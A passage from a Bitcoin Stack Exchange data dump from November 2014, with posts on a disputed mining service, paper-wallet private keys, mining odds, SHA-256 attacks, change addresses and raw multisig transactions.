confusion.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Your business model is unclear and you deflect all questions about it by saying &amp;quot;look at my blog.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't have a response to this.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You insult and make legal threats against anyone who characterizes you as scammers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What are you supposed to do, not insult them?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;From dnivi3:&lt;/p&gt;&#xA;&lt;p&gt;I then proceeded to check if they actually had miner software on their webpage. They indeed do. And it looks fancy, way fancier than any other miner software out there. It has gimmicky graphics which no other miner software has, which leads me to believe that they want to lure new users to use their software because it is so fancy. Warning sign two: check.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Alternate explanation: they want to distinguish themselves from the dozens of other mining pools and cloud mining providers.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;But, hey — wait — their account was created the 11th of July and their first tweet was posted the 11th of July as well. That’s suspicious considering most cryptocurrency/Bitcoin-startups have problems reaching that many followers in that short amount of time. The exchange I work, has existed for over a year and still has not crossed 1000 followers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Spam twitter accounts need to follow normal accounts too, or Twitter will be able to find dozens of their customers just by identifying a single spam account and looking at everyone it's following.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;After I’d had enough of looking through the Twitter-profile and the fake followers, I decided I’d do a Google-search for “Cointellect”. Turns out that this new and small mining startup has tons of references on the web. And, I am not just talking a few references and posts on the web, I am talking hundreds. Google turned up ten whole pages with forum-posts in foregin languages, obscure websites and some cryptocurrency blogs and newssites.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That's not surprising, because CoIntellect has an affiliate marketing program. Now, some of those marketers are going to straddle the line between recommending the service enthusiastically and spamming. It's unreasonable to expect CoIntellect to keep a leash on all of these users.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Additionally, there were other reviews of Cointellect on the web as well. They were all very similar, with the exact same screenshots. To me, they seemed like a copy-paste-job paid by Cointellect. See for yourself and judge if you think they are a copy-paste job or not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is a massive amount of plagiarism and blogspam in online journalism. The simplest explanation is that all of those blogs are copying each other.&lt;/p&gt;&#xA;&lt;p&gt;thebitcoinnews often copies articles from The Daily Doge word for word. Example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dailydoge.org/2014/10/29/norwegian-bitcoin-exchange-justcoin-closes-doors/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.dailydoge.org/2014/10/29/norwegian-bitcoin-exchange-justcoin-closes-doors/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thebitcoinnews.com/2014/10/29/norwegian-bitcoin-exchange-justcoin-closes-doors/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thebitcoinnews.com/2014/10/29/norwegian-bitcoin-exchange-justcoin-closes-doors/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So it seems that Sonera Corporative OU is bought from a online “ready made companies” seller. If this does not smell fishy, then what does?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Registering a corporation in many countries (possibly including estonia) is an enormous pain. It can be simpler to buy one that has already been made.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;UPDATE 3 (10/09/2014): Just found some more interesting things. CoIntellect’s Twitter followers have suddenly dropped to 400 and the account has deleted literally all previous tweets. The tweet count is now on 18 and the follower count on exactly 400. I wonder how they got rid of all those followers. Messaged them to unfollow @CoIntellectFAQ? Hardly effective. Messaged the bot operators to get off their heels? Very effective, I’d assume. I think the latter is most likely to have happened.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Occam's Razor: Twitter noticed all of these bot accounts and deleted them. This is frequently done in waves to frustrate bot herders.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-11-12T03:27:33.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32450" PostTypeId="2" ParentId="32441" CreationDate="2014-11-12T03:31:37.550" Score="0" Body="&lt;p&gt;The first number is the number of shares you have solved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second number is the number of pieces of work that you have recieved, but haven't begun solving. If it drops to 0, you aren't mining. Every ten minutes or so, these will become obselete, and you'll need new work, so there's not much point in requesting a bunch ahead of time.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-11-12T03:31:37.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32451" PostTypeId="1" AcceptedAnswerId="32453" CreationDate="2014-11-12T03:49:07.730" Score="0" ViewCount="445" Body="&lt;p&gt;I created a paper wallet on coinbase and wanted to import it to coinbase.com. It allowed me to import it by specifying private key only. I was surprised that I didn't have to specify public key as well... is it secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am surely missing here something but the analogy that comes to my mind is ability to log in into someone's gmail account by providing only password and not email. I mean, if that would be possible we could specify &quot;P@ssword&quot; and I'm sure someones has this kind of password to their email, that would let us log in to that account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarily, I could specify some random private key and hope that it's associated with some public address... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please clarify why my reasoning is not correct and why importing bitcoins by specifying private key only is safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="21041" LastActivityDate="2014-11-12T08:39:52.263" Title="Why I don't need to specify public key to import paper wallet" Tags="|private-key|paper-wallet|import|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32452" PostTypeId="2" ParentId="32446" CreationDate="2014-11-12T03:50:24.533" Score="4" Body="&lt;p&gt;In hopes of making this a useful answer in the long run, I will show how one can answer this question in general, then give an example using today's values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let &lt;em&gt;d&lt;/em&gt; be the current Bitcoin difficulty, which can be found, for example, with the &lt;code&gt;getdifficulty&lt;/code&gt; command in Bitcoin Core, or from any of a number of sites by searching Google for &quot;bitcoin difficulty&quot;.  The average number of hashes needed to mine one block is then &lt;em&gt;h&lt;/em&gt; = 2&lt;sup&gt;32&lt;/sup&gt;&lt;em&gt;d&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have mining equipment with a total hash rate of &lt;em&gt;r&lt;/em&gt; hashes per second.  The time &lt;em&gt;M&lt;/em&gt; needed to mine one block is of course random.  Since each hash is effectively an independent trial of mining a block, all of which have the same very small probability of success, and those trials are executed very rapidly, the distribution of &lt;em&gt;M&lt;/em&gt; is well approximated by an &lt;a href=&quot;http://en.wikipedia.org/wiki/Exponential_distribution&quot; rel=&quot;nofollow&quot;&gt;exponential distribution&lt;/a&gt; with rate &lt;em&gt;r&lt;/em&gt;/&lt;em&gt;h&lt;/em&gt; Hz.  As such, the probability &lt;em&gt;p&lt;/em&gt; of mining at least one block within some fixed time &lt;em&gt;t&lt;/em&gt; seconds is &lt;em&gt;p&lt;/em&gt; = &lt;strong&gt;P&lt;/strong&gt;(&lt;em&gt;M&lt;/em&gt; &amp;lt; &lt;em&gt;t&lt;/em&gt;) = 1 − &lt;em&gt;e&lt;/em&gt;&lt;sup&gt;−&lt;em&gt;tr&lt;/em&gt;/&lt;em&gt;h&lt;/em&gt;&lt;/sup&gt;.  If you choose values for &lt;em&gt;t&lt;/em&gt; and &lt;em&gt;p&lt;/em&gt;, you can solve for &lt;em&gt;r&lt;/em&gt; to determine what hash rate you would need to have probability &lt;em&gt;p&lt;/em&gt; of mining a block within &lt;em&gt;t&lt;/em&gt; seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then look at a page such as &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; which lists the hash rate of various mining hardware, and decide how many units of your favorite miner you would need to achieve that hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, suppose you want a 50% chance of mining a block within 30 days. As of right now the difficulty level is &lt;em&gt;d&lt;/em&gt; =  39 603 666 252. Taking &lt;em&gt;p&lt;/em&gt; = 1/2 and &lt;em&gt;t&lt;/em&gt; = 60*60*24*30 = 2 592 000, you find &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;r&lt;/em&gt; = 45 486 834 753 298&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or about 45 Thash/sec.  Let us suppose you wanted to standardize on the ASICMiner BE Prisma, which, according to the page linked above, generates 1.4 THash/sec, draws 1.1 kW of electrical power, and costs US $600.  You would need roughly 32 such devices, at a total cost of US $19 200.  You would use 35.2 kW of electricity.  (By contrast, electricity service to single family homes in the US is often a maximum of 24 kW (100 A at 240 V).)  At a typical electricity cost of US $0.10 per kWh, that would cost you US $3.50 per hour, or US $2 520 per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes that the mining difficulty does not increase significantly over the course of the month, which is not a good assumption (it typically increases every 14 days or so).  The expected mining rewards from this setup would continue to decrease as the difficulty increases over time.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-12T03:50:24.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32453" PostTypeId="2" ParentId="32451" CreationDate="2014-11-12T04:11:03.810" Score="1" Body="&lt;p&gt;The analogy that you suggest isn't quite accurate because a private/public key pair have a very exact mathematical relation, whereas a username/password have no real relation (except maybe an entry in a database somewhere). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A private key is essentially a 256 bit number. Using this private key, and an Elliptic Curve library that supports the use of the &lt;code&gt;secp256k1&lt;/code&gt; curve, you can deterministically calculate what the associated public key is. Since a bitcoin address is a hash of the public key, all you really need is the private key and you can calculate everything else to be able to see what transactions resulted in the address being credited/debited coins. That's why coinbase only has you give your private key.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-12T04:11:03.810" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32454" PostTypeId="2" ParentId="32451" CreationDate="2014-11-12T04:42:41.907" Score="1" Body="&lt;p&gt;The short answer is like many other common encryption systems you can create the public key from the private key (and therefore gain access to the contents) but you cant create the private from the public. Therefore you don't need to input the public key because it can be generated from the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As other comments have said, the chances of you guessing/generating a valid private key are essentially nil.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-12T04:42:41.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32455" PostTypeId="1" CreationDate="2014-11-12T05:34:01.143" Score="4" ViewCount="6351" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; lists several vulnerabilities in SHA-256. Presumably, none of them can be used to mine faster, or it would be done already. Why don't these vulnerabilities lead to a problem for mining?&lt;/p&gt;&#xA;" OwnerUserId="12196" LastEditorUserId="5406" LastEditDate="2016-04-24T09:28:43.313" LastActivityDate="2016-04-24T09:28:43.313" Title="Why don't any of the SHA-256 vulnerabilities matter for mining?" Tags="|security|mining-technical-details|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32456" PostTypeId="1" CreationDate="2014-11-12T06:36:27.007" Score="0" ViewCount="789" Body="&lt;p&gt;I'm using GUIMiner. It's not using my CPU. My CPU is at a very low utilization (~10%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can do to use my CPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't CPU mining turned on by default?&lt;/p&gt;&#xA;" OwnerUserId="21042" LastEditorUserId="5406" LastEditDate="2016-03-31T17:02:45.017" LastActivityDate="2016-03-31T17:02:45.017" Title="How do I set up GUIMiner to use my cpu?" Tags="|miner-configuration|cpu-mining|guiminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32458" PostTypeId="2" ParentId="32451" CreationDate="2014-11-12T08:34:44.963" Score="1" Body="&lt;p&gt;Unlike email accounts and passwords, in Bitcoin no two public keys can share the same private key because the public key is derived from the private key mathematically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true you could generate private keys at random and check their corresponding public addresses for unspent bitcoins. And if you found any, you could spend them since you'd have the private key. If it was at all feasible to find and spend other users' bitcoins this way, the Bitcoin ledger would be useless. So the set of possible keys was made intentionally enormous as to make such random searching infeasible and pointless even if extremely powerful computers were used to perform these searches for centuries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a great video on this topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/ZloHVKk7DHk&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/ZloHVKk7DHk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21044" LastEditorUserId="21044" LastEditDate="2014-11-12T08:39:52.263" LastActivityDate="2014-11-12T08:39:52.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32459" PostTypeId="2" ParentId="32455" CreationDate="2014-11-12T08:53:50.307" Score="5" Body="&lt;p&gt;The attacks are against a &quot;poor man's&quot; version of SHA-256, where less rounds are performed than in the real SHA-256. They are useless for breaking SHA-256 itself, and more so for the double SHA-256 used in Bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what would be most useful for mining is a preimage attack, and those are much harder than collision attacks. You can see in the table on Wikipedia that the proposed preimage attacks, though faster than pure brute force, are still impossibly complex.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-11-12T08:53:50.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32462" PostTypeId="1" CreationDate="2014-11-12T10:27:44.333" Score="4" ViewCount="6045" Body="&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that what I really want to learn is how to create software which makes use of a distributed hash table.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL QUESTION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to learn about coding my own blockchain based software using the C# programming language. Do books exist yet which I could buy to learn about blockchain programming?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain idea/technology is absolutely unbelievably amazing, and I want to learn how to create blockchain based software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please understand, that I am not asking about a book which helps me interact with the bitcoin blockchain.  I want to know how to create distributed software using blockchain type technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hats off to Satoshi Nakamoto for giving the world the blockchain idea.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="2306" LastEditDate="2015-01-16T16:21:23.230" LastActivityDate="2015-01-16T16:30:18.187" Title="Blockchain programming books C#?" Tags="|development|bitcoin-literature|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32463" PostTypeId="2" ParentId="32462" CreationDate="2014-11-12T10:38:21.810" Score="6" Body="&lt;p&gt;A great way to start programming blockchain-based apps in C# is &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot;&gt;BitcoinLib&lt;/a&gt;, which also comes with a &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib/tree/master/ConsoleClient&quot;&gt;test console app&lt;/a&gt; that demonstrates how you can build a blockchain app in a few lines of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repo: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of its features are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fully compatible and up-to-date with Bitcoin 0.9.3 RPC API.&lt;/li&gt;&#xA;&lt;li&gt;Design-by-contract, service-oriented architecture.&lt;/li&gt;&#xA;&lt;li&gt;Strongly-typed structures for complex RPC requests and responses.&lt;/li&gt;&#xA;&lt;li&gt;Implicit JSON casting for all RPC messages.&lt;/li&gt;&#xA;&lt;li&gt;Extended methods for every-day scenarios where the built-in methods fall short.&lt;/li&gt;&#xA;&lt;li&gt;Exposure of all RPC API's functionality as well as the extended methods through a single interface.&lt;/li&gt;&#xA;&lt;li&gt;Fallback mechanism for timed-out RPC requests.&lt;/li&gt;&#xA;&lt;li&gt;Custom RPC exceptions.&lt;/li&gt;&#xA;&lt;li&gt;Supports all Bitcoin clones.&lt;/li&gt;&#xA;&lt;li&gt;Can operate on unlimited daemons with a single library reference.&lt;/li&gt;&#xA;&lt;li&gt;Litecoin and Dogecoin integrations included.&lt;/li&gt;&#xA;&lt;li&gt;Each coin instance can be fully parametrized at run-time and implement its own constants.&lt;/li&gt;&#xA;&lt;li&gt;Console test client with demo methods implemented in it.&lt;/li&gt;&#xA;&lt;li&gt;Disconnected raw RPC connector included for quick'n'dirty debugging.&lt;/li&gt;&#xA;&lt;li&gt;Testnet ready.&lt;/li&gt;&#xA;&lt;li&gt;MONO compatible.&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info compatible.&lt;/li&gt;&#xA;&lt;li&gt;Fully configurable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-11-12T10:38:21.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32464" PostTypeId="1" AcceptedAnswerId="32466" CreationDate="2014-11-12T14:28:34.503" Score="0" ViewCount="188" Body="&lt;p&gt;I found somebody that imported a paper wallet with 100BTC then used 2BTC BUT the other 98BTC were sent to a change address. Why and how can I prevent this; how can I enter a custom change address?&lt;/p&gt;&#xA;" OwnerUserId="20886" LastEditorUserId="2306" LastEditDate="2014-11-12T15:52:03.257" LastActivityDate="2014-11-12T17:27:45.277" Title="How do I prevent the standard Bitcoin client from sending some of my Bitcoins to a change address?" Tags="|address|paper-wallet|coldstorage|change|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32465" PostTypeId="2" ParentId="32455" CreationDate="2014-11-12T15:22:34.340" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Sha256 has no known vulnerabilities as of yet. As Meni Rosenfeld mentioned, the mentioned attacks only concern part of the rounds of Sha256, in order to have an actuall effective attack you'd have to fully break &lt;em&gt;all&lt;/em&gt; rounds (64 in case of Sha256).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even if Sha256 was broken, it &lt;em&gt;still&lt;/em&gt; wouldn't directly affect mining, as Bitcoin uses &lt;strong&gt;double Sha256&lt;/strong&gt; hashing:&lt;br&gt;Sha256d(x) = Sha256(Sha256(x))&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even if a full preimage attack on Sha256 was found, it &lt;em&gt;still&lt;/em&gt; most likely would not affect Bitcoin, as in the mining process there is very little freedom to forge the input data. You can shuffle around some txs, vary the nonce, but not much else. It is extremely unlikely that whatever means the preimage attack uses to construct input data (to match the required hash value) is compatible with the way Bitcoin blocks are built up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This gives us more than enough time to migrate to another hashing algorithm, if regular Sha256 were ever to be compromised.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastEditorUserId="20702" LastEditDate="2014-11-13T10:06:58.073" LastActivityDate="2014-11-13T10:06:58.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32466" PostTypeId="2" ParentId="32464" CreationDate="2014-11-12T17:27:45.277" Score="2" Body="&lt;p&gt;The standard client doesn't have any built-in options for this. You could manage it yourself if you built the transaction by the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;RPC API commands&lt;/a&gt; or, more easily, by using a client with that feature built in, like &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Armory&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hc2AE.png&quot; alt=&quot;Armory change selection feature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you know what inputs will be used and the exact amounts involved, you can add the &quot;change&quot; yourself as an additional output. This will make it so the client won't need to generate any additional change back to itself. Remember to subtract a transaction fee, if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kmapk.png&quot; alt=&quot;Bitcoin Core, preparing to send 2 BTC to one address and the other 100 BTC to another&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-11-12T17:27:45.277" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32467" PostTypeId="2" ParentId="32444" CreationDate="2014-11-12T19:16:09.360" Score="3" Body="&lt;p&gt;I would say the RPC interface is intended mainly as an application interface, but it's also meant to be simple enough for a human to use.  And the computer cares less than you think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For human users, using decimal bitcoins (rather than integer satoshis) makes life significantly easier.  For people writing software to interface with it, it makes their life only infinitesimally more complicated (you have to write maybe one extra line of code to insert and parse the decimal point).  The computer running it takes maybe a few more nanoseconds to run the code, which nobody will notice.  So on balance, it seems like more good is achieved by including the decimal point than not.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-12T19:16:09.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32468" PostTypeId="2" ParentId="32456" CreationDate="2014-11-12T20:39:16.580" Score="2" Body="&lt;p&gt;CPU mining ended in 2011. You will earn less than what the electricity costs, so the more you mine the more money you lose. You will never earn the minimum amount required to cash out from a pool, so you actually won't be earning anything at all, just burning electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why CPU mining is disabled, and why noone should use it.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-11-12T20:39:16.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32469" PostTypeId="2" ParentId="16745" CreationDate="2014-11-12T22:21:09.123" Score="1" Body="&lt;p&gt;You need to copy that address and now next you can login to your bitcoin wallet and its its via webmoney then use that. And send exact amount written on Namecheap checkout page and send. Payment will be automatically processed. &lt;/p&gt;&#xA;" OwnerUserId="21054" LastActivityDate="2014-11-12T22:21:09.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32470" PostTypeId="1" CreationDate="2014-11-12T23:46:07.310" Score="2" ViewCount="129" Body="&lt;p&gt;Is anyone familiar with how the standard Bitcoin client gathers account balances from the blockchain? I understand that the software will look through the blockchain to calculate the balance, but I was wondering how exactly this is done efficiently.&lt;/p&gt;&#xA;" OwnerUserId="21056" LastEditorUserId="2306" LastEditDate="2014-11-13T20:36:13.143" LastActivityDate="2014-11-13T20:36:13.143" Title="Calculating Account Balance" Tags="|wallet|blockchain|balance|" AnswerCount="0" CommentCount="1" ClosedDate="2014-11-17T08:30:31.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="32471" PostTypeId="2" ParentId="32259" CreationDate="2014-11-12T23:57:25.623" Score="0" Body="&lt;p&gt;So I had to fire up the OS on the old HD and run an older version of Bitcoin code - lo and behold, no problems with the wallet at all. Transferred balance to another address, installed new Bitcoin core and generated a new wallet.dat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of this fills me with confidence for long term storage of my coins!!&lt;/p&gt;&#xA;" OwnerUserId="20897" LastActivityDate="2014-11-12T23:57:25.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32473" PostTypeId="1" AcceptedAnswerId="32474" CreationDate="2014-11-13T00:15:28.083" Score="3" ViewCount="116" Body="&lt;p&gt;Using the default client's RPC calls, can I make a transaction that sends to a RAW multisig (not P2SH multisig) scriptPubKey? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I made a raw transaction, and edited the bytes in the scriptPubKey of one of the outputs, could I manually write in my own scriptPubKey? Hopefully, instead of doing this manually there is either support in the core client or there is a tool out there that I don't know of that can help. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-14T03:33:13.323" Title="How to make a pay-to-rawmultisig transaction?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32474" PostTypeId="2" ParentId="32473" CreationDate="2014-11-13T00:53:43.287" Score="3" Body="&lt;p&gt;No, Bitcoin Core doesn't have any RPC calls which allow you to create a bare multisig pubkey script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you can create your own pubkey script and insert it into a transaction.  This isn't hard---but it is dangerous.  One mistype and your bitcoins are lost forever.  Note also that greater than 3-of-3 bare multisig pubkey scripts are non-standard, so they won't be relayed or mined by standard clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be challenging is spending the output at a later time---you will need a program that understands how to correctly sign Bitcoin transactions using an arbitrary private key.  Bitcoin Core can do that if it either has stored or is given all of the private keys necessary, but not all wallets can.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="18196" LastEditDate="2014-11-14T03:33:13.323" LastActivityDate="2014-11-14T03:33:13.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32476" PostTypeId="1" CreationDate="2014-11-13T06:47:00.737" Score="1" ViewCount="180" Body="&lt;p&gt;Is it possible to split the mining hashpower of a rented mining rig over multiple pools simultaneously?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, I rent a scrypt mining power of 5 Mh/s. What I want to do is point that rig to a stratum tcp port on a VPS/dedicated server that I own, and then &quot;funnel&quot; the total hashpower to mine on different pools from the VPS using cpuminer/gpuminer. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="21061" LastEditorUserId="5406" LastEditDate="2016-04-02T10:48:54.940" LastActivityDate="2016-04-02T10:48:54.940" Title="Splitting hashpower over multiple pools" Tags="|mining-pools|miner-configuration|scrypt|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32477" PostTypeId="1" CreationDate="2014-11-13T10:18:54.927" Score="1" ViewCount="404" Body="&lt;p&gt;you know ,you need a 32GB size for one bitcoin client,is it possible to run several bitcoin programs sharing same data source using -datadir or something else? I have found that somebody had put it  about a year ago and got an big NO; Since 1 year has passed ,is it still NO? &lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="2306" LastEditDate="2015-02-01T21:34:25.433" LastActivityDate="2015-02-01T21:34:25.433" Title="how can I run multi wallet on one computer to share same blockdata" Tags="|database|datadir|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32479" PostTypeId="2" ParentId="32237" CreationDate="2014-11-13T14:14:16.057" Score="3" Body="&lt;p&gt;Transactions which are not double spends will be happily relayed by all nodes who receive them to all the people they connect to. This ensures that miners will hear about transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone who is fully synced will share the same blockchain. Bitcoin helps people achieve consensus, which simply means they all agree on the same list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally bitcoin nodes will connect to at least 8 other (random) nodes. This is enough - You pick geographically separate nodes to get a true sense of the network's state. Nodes are responsible for relaying information about new transactions and blocks to their peers. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-11-13T14:14:16.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32482" PostTypeId="2" ParentId="32477" CreationDate="2014-11-13T19:42:36.997" Score="1" Body="&lt;p&gt;On Windows it wouldn't work because of file locking/sharing I suspect and on Linux that wouldn't be a problem but the data would surely get corrupted. There's no advantage to running multiple servers either, if you need to process more transactions than the server can handle then you should probably be doing it a different way or with multiple machines. If it's to help the network then one will do - leave it 24/7 and it will start to provide more than 8 connections if you allow it via config.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-13T19:42:36.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
